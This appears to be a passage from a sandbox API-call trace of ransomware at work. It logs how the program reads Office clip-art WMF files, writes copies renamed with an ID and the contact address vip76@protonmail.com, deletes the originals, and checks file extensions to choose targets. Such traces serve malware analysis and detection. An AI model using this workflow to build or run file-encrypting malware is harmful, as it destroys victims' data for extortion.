	[0198.211] ReadFile (in: hFile=0x574, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x1374, lpOverlapped=0x0) returned 1
	[0198.212] WriteFile (in: hFile=0x580, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x1380, lpOverlapped=0x0) returned 1
	[0198.213] ReadFile (in: hFile=0x574, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.214] WriteFile (in: hFile=0x580, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0198.214] SetEndOfFile (hFile=0x580) returned 1
	[0198.214] CloseHandle (hObject=0x580) returned 1
	[0198.214] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.214] SetEndOfFile (hFile=0x574) returned 1
	[0198.216] CloseHandle (hObject=0x574) returned 1
	[0198.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.217] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf")) returned 1
	[0198.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0198.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0198.218] lstrlenW (lpString=".doc") returned 4
	[0198.218] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.218] lstrlenW (lpString=".docx") returned 5
	[0198.218] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0198.218] lstrlenW (lpString=".pdf") returned 4
	[0198.218] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.218] lstrlenW (lpString=".xls") returned 4
	[0198.218] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.218] lstrlenW (lpString=".xlsx") returned 5
	[0198.218] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0198.218] lstrlenW (lpString=".ppt") returned 4
	[0198.218] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0198.218] lstrlenW (lpString=".zip") returned 4
	[0198.219] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.219] lstrlenW (lpString=".rar") returned 4
	[0198.219] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.219] lstrlenW (lpString=".bz2") returned 4
	[0198.219] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.219] lstrlenW (lpString=".7z") returned 3
	[0198.219] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0198.219] lstrlenW (lpString=".dbf") returned 4
	[0198.219] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0198.219] lstrlenW (lpString=".1cd") returned 4
	[0198.219] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0198.219] lstrlenW (lpString=".jpg") returned 4
	[0198.219] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0198.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0198.219] lstrlenW (lpString=".doc") returned 4
	[0198.219] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.219] lstrlenW (lpString=".docx") returned 5
	[0198.219] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0198.219] lstrlenW (lpString=".pdf") returned 4
	[0198.219] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.219] lstrlenW (lpString=".xls") returned 4
	[0198.219] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.219] lstrlenW (lpString=".xlsx") returned 5
	[0198.219] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0198.219] lstrlenW (lpString=".ppt") returned 4
	[0198.219] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0198.220] lstrlenW (lpString=".zip") returned 4
	[0198.220] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.220] lstrlenW (lpString=".rar") returned 4
	[0198.220] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.220] lstrlenW (lpString=".bz2") returned 4
	[0198.220] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.220] lstrlenW (lpString=".7z") returned 3
	[0198.220] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0198.220] lstrlenW (lpString=".dbf") returned 4
	[0198.220] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0198.220] lstrlenW (lpString=".1cd") returned 4
	[0198.220] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0198.220] lstrlenW (lpString=".jpg") returned 4
	[0198.220] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.220] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0198.220] lstrlenW (lpString="J0107484.WMF") returned 12
	[0198.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0198.221] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=3040) returned 1
	[0198.221] CloseHandle (hObject=0x574) returned 1
	[0198.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf")) returned 0x220
	[0198.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0198.222] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.222] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0198.223] GetLastError () returned 0x0
	[0198.223] ReadFile (in: hFile=0x574, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0xbe0, lpOverlapped=0x0) returned 1
	[0198.345] WriteFile (in: hFile=0x580, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xbf0, lpOverlapped=0x0) returned 1
	[0198.346] ReadFile (in: hFile=0x574, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.346] WriteFile (in: hFile=0x580, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0198.346] SetEndOfFile (hFile=0x580) returned 1
	[0198.347] CloseHandle (hObject=0x580) returned 1
	[0198.347] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.347] SetEndOfFile (hFile=0x574) returned 1
	[0198.350] CloseHandle (hObject=0x574) returned 1
	[0198.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.354] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf")) returned 1
	[0198.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0198.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0198.355] lstrlenW (lpString=".doc") returned 4
	[0198.355] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.355] lstrlenW (lpString=".docx") returned 5
	[0198.355] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0198.355] lstrlenW (lpString=".pdf") returned 4
	[0198.355] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.355] lstrlenW (lpString=".xls") returned 4
	[0198.355] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.355] lstrlenW (lpString=".xlsx") returned 5
	[0198.355] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0198.355] lstrlenW (lpString=".ppt") returned 4
	[0198.355] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0198.355] lstrlenW (lpString=".zip") returned 4
	[0198.356] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.356] lstrlenW (lpString=".rar") returned 4
	[0198.356] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.356] lstrlenW (lpString=".bz2") returned 4
	[0198.356] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.356] lstrlenW (lpString=".7z") returned 3
	[0198.356] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0198.356] lstrlenW (lpString=".dbf") returned 4
	[0198.356] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0198.356] lstrlenW (lpString=".1cd") returned 4
	[0198.356] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0198.356] lstrlenW (lpString=".jpg") returned 4
	[0198.356] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0198.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0198.356] lstrlenW (lpString=".doc") returned 4
	[0198.356] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.356] lstrlenW (lpString=".docx") returned 5
	[0198.356] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0198.356] lstrlenW (lpString=".pdf") returned 4
	[0198.356] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.356] lstrlenW (lpString=".xls") returned 4
	[0198.356] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.356] lstrlenW (lpString=".xlsx") returned 5
	[0198.356] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0198.356] lstrlenW (lpString=".ppt") returned 4
	[0198.356] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0198.357] lstrlenW (lpString=".zip") returned 4
	[0198.357] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.357] lstrlenW (lpString=".rar") returned 4
	[0198.357] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.357] lstrlenW (lpString=".bz2") returned 4
	[0198.357] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.357] lstrlenW (lpString=".7z") returned 3
	[0198.357] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0198.357] lstrlenW (lpString=".dbf") returned 4
	[0198.357] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0198.357] lstrlenW (lpString=".1cd") returned 4
	[0198.357] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0198.357] lstrlenW (lpString=".jpg") returned 4
	[0198.357] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.357] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0198.357] lstrlenW (lpString="J0107488.WMF") returned 12
	[0198.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0198.358] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=8000) returned 1
	[0198.358] CloseHandle (hObject=0x574) returned 1
	[0198.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf")) returned 0x220
	[0198.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0198.359] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.359] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0198.360] GetLastError () returned 0x0
	[0198.360] ReadFile (in: hFile=0x574, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x1f40, lpOverlapped=0x0) returned 1
	[0198.361] WriteFile (in: hFile=0x514, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x1f50, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x1f50, lpOverlapped=0x0) returned 1
	[0198.362] ReadFile (in: hFile=0x574, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.362] WriteFile (in: hFile=0x514, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0198.362] SetEndOfFile (hFile=0x514) returned 1
	[0198.363] CloseHandle (hObject=0x514) returned 1
	[0198.363] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.363] SetEndOfFile (hFile=0x574) returned 1
	[0198.365] CloseHandle (hObject=0x574) returned 1
	[0198.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.366] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf")) returned 1
	[0198.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0198.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0198.367] lstrlenW (lpString=".doc") returned 4
	[0198.367] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.367] lstrlenW (lpString=".docx") returned 5
	[0198.367] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0198.367] lstrlenW (lpString=".pdf") returned 4
	[0198.367] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.367] lstrlenW (lpString=".xls") returned 4
	[0198.367] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.367] lstrlenW (lpString=".xlsx") returned 5
	[0198.367] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0198.367] lstrlenW (lpString=".ppt") returned 4
	[0198.367] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0198.367] lstrlenW (lpString=".zip") returned 4
	[0198.367] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.367] lstrlenW (lpString=".rar") returned 4
	[0198.367] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.367] lstrlenW (lpString=".bz2") returned 4
	[0198.367] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.367] lstrlenW (lpString=".7z") returned 3
	[0198.367] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0198.367] lstrlenW (lpString=".dbf") returned 4
	[0198.367] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0198.367] lstrlenW (lpString=".1cd") returned 4
	[0198.367] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0198.367] lstrlenW (lpString=".jpg") returned 4
	[0198.367] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0198.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0198.368] lstrlenW (lpString=".doc") returned 4
	[0198.368] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.368] lstrlenW (lpString=".docx") returned 5
	[0198.368] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0198.368] lstrlenW (lpString=".pdf") returned 4
	[0198.368] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.368] lstrlenW (lpString=".xls") returned 4
	[0198.368] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.368] lstrlenW (lpString=".xlsx") returned 5
	[0198.368] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0198.368] lstrlenW (lpString=".ppt") returned 4
	[0198.368] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0198.368] lstrlenW (lpString=".zip") returned 4
	[0198.368] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.368] lstrlenW (lpString=".rar") returned 4
	[0198.368] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.368] lstrlenW (lpString=".bz2") returned 4
	[0198.368] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.368] lstrlenW (lpString=".7z") returned 3
	[0198.368] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0198.368] lstrlenW (lpString=".dbf") returned 4
	[0198.368] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0198.368] lstrlenW (lpString=".1cd") returned 4
	[0198.368] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0198.368] lstrlenW (lpString=".jpg") returned 4
	[0198.368] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.369] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0198.369] lstrlenW (lpString="J0107490.WMF") returned 12
	[0198.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0198.369] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=16468) returned 1
	[0198.369] CloseHandle (hObject=0x574) returned 1
	[0198.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf")) returned 0x220
	[0198.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0198.370] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.370] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0198.371] GetLastError () returned 0x0
